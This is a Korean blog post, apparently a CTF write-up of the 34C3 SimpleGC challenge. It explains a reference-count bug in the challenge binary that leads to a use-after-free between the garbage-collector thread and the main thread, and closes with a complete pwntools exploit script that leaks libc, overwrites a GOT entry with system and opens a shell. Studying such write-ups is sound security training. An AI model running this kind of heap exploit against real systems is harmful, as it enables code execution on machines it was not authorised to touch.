본문 바로가기

PWN

34c3 / SimpleGC

ctftime의 문제 설명

바이너리 다운로드 링크 : https://34c3ctf.ccc.ac/uploads/SimpleGC-09f5d1286c83b34441568a645af12cd5.tar.gz

 

libc-2.26.so, sgc를 준다. sgc에 적용된 보호기법을 확인해보았다. 감사하게도 PIE와 relro가 안 걸려 있다. 

checksec

 

 

 

 

 

sgc 바이너리를 리버싱하면 user과 user들이 속하는 group을 만들어 관리하는 프로그램임을 알 수 있다. 다만 while 문에 들어가서 전에 gc라는 thread를 실행한다. user 구조체과 group 구조체는 아래와 같다. 

1
2
3
4
5
6
7
8
9
10
11
12
13
struct group
{
  char *group_name;
  __int64 ref_count;
};
 
struct user
{
  __int64 age;
  char *user_name;
  char *group_name;
};
 
cs

gc에서는 ref_count가 0이 되면 group과 group_name을 free한다.

gc

 

ref_count는 group에 속한 유저를 삭제 할때, group에 유저를 추가할 때 각각 추가된다. 이때 유저가 속한 group의 포인터를 얻기 위하여 group_name이 사용된다. 

 

del_user

 

add_user

 

취약점은 edit group에서 발생한다. propagate를 할 건지 묻는 질문에 y를 입력하면 user의 group_name을 수정할 때 ref_count를 건드리지 않는다. 따라서 group_name이 A인 group과 B인 그룹이 있을 때, B group의 이름을 A로 수정하면 A와 B는 다른 그룹이지만 같은 이름을 갖는다. 따라서 B 그룹의 멤버를 삭제하면 A와 B의 ref_count가 함께 감소한다. 따라서 B의 유저를 감소시켜 A 그룹의 ref_count를 0으로 만든다면, A 그룹의 유저에 대한 use after free 취약점이 발생한다.

 

 

이제 UAF를 트리거할 수 있지만, group과 group_name을 free하는 thread가 GC이기 때문에 main thread에서는 GC thread의 tcache bin에 들어간 청크를 할당받을 수 없다. 따라서 tcache bin을 꽉 채운 다음 fastbin을 이용해야 한다.

 

UAF 취약점을 이용하여 group_name을 user 구조체에 할당받은 후 user의 group_name 포인터를 수정하면 AAW, AAR를 할 수 있다. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
import time
def add(Uname,Gname,age):
    p.sendline('0')
    p.recvuntil('name')
    p.sendline(Uname)
    p.recvuntil('group')
    p.sendline(Gname)
    p.recvuntil('age')
    p.sendline(str(age))
    p.recvuntil('reated')
    p.recvuntil('Exit')
def edit(idx,yn,Gname):
    p.sendline('3')
    p.recvuntil('ndex')
    p.sendline(str(idx))
    p.recvuntil('(y/n)')
    p.sendline(yn)
    p.recvuntil('name')
    p.sendline(Gname)
    p.recvuntil('Exit')
def remove(idx):
    p.sendline('4')
    p.recvuntil('in')
    p.sendline(str(idx))
    p.recvuntil('Exit')
def leak(idx):
    p.sendline('2')
    p.recvuntil('index:')
    p.sendline(str(idx))
    p.recvuntil('Name: ')
    leak=p.recv(6).ljust(8,'\x00')
    log.info('leak : '+leak)
    p.recvuntil('Exit')
    leak=u64(leak)
    return leak
def win(idx):
    p.sendline('4')
    p.recvuntil('in')
    p.sendline(str(idx))
p=process('sgc')
#gdb.attach(p)
p.recvuntil('Exit')
 
for x in range(4):
    add('q'*0x80,str(x),1)
for x in range(4):
    remove(x)
time.sleep(1)
add('w'*0x80,"G0",1)#0
add('w'*0x80,'G1',2)#1
edit(1,'y','G0')
 
remove(1)#-1
time.sleep(1)
 
add('w'*0x80,"G2",1)#1
add('w'*0x80,'G3',1)#2
add('w'*0x80,'G3',1)#3
edit(0,'y',p64(0)+p64(0x602068)+p64(0x602068))
leak=leak(1)
log.info('leak = '+hex(leak))
libc=leak-0xa9e70
system=libc+0x4f440
binsh=libc+0x1b3e9a
log.info('libc base = '+hex(libc))
log.info('system = '+hex(system))
log.info('binsh = '+hex(binsh))
edit(1,'y',p64(system)*3)
edit(0,'y',p64(0)+p64(binsh)+p64(binsh))
win(1)
p.interactive()
 
cs

'PWN' 카테고리의 다른 글

[CISCN 2017] BabyDriver  (0) 2020.02.04
2019 defcon/ babyheap  (0) 2020.01.04
calloc without memset 0  (0) 2019.12.30
glibc 2.29 tcache  (0) 2019.12.28
glibc 2.29 malloc 분석1. [청크, malloc]  (0) 2019.12.27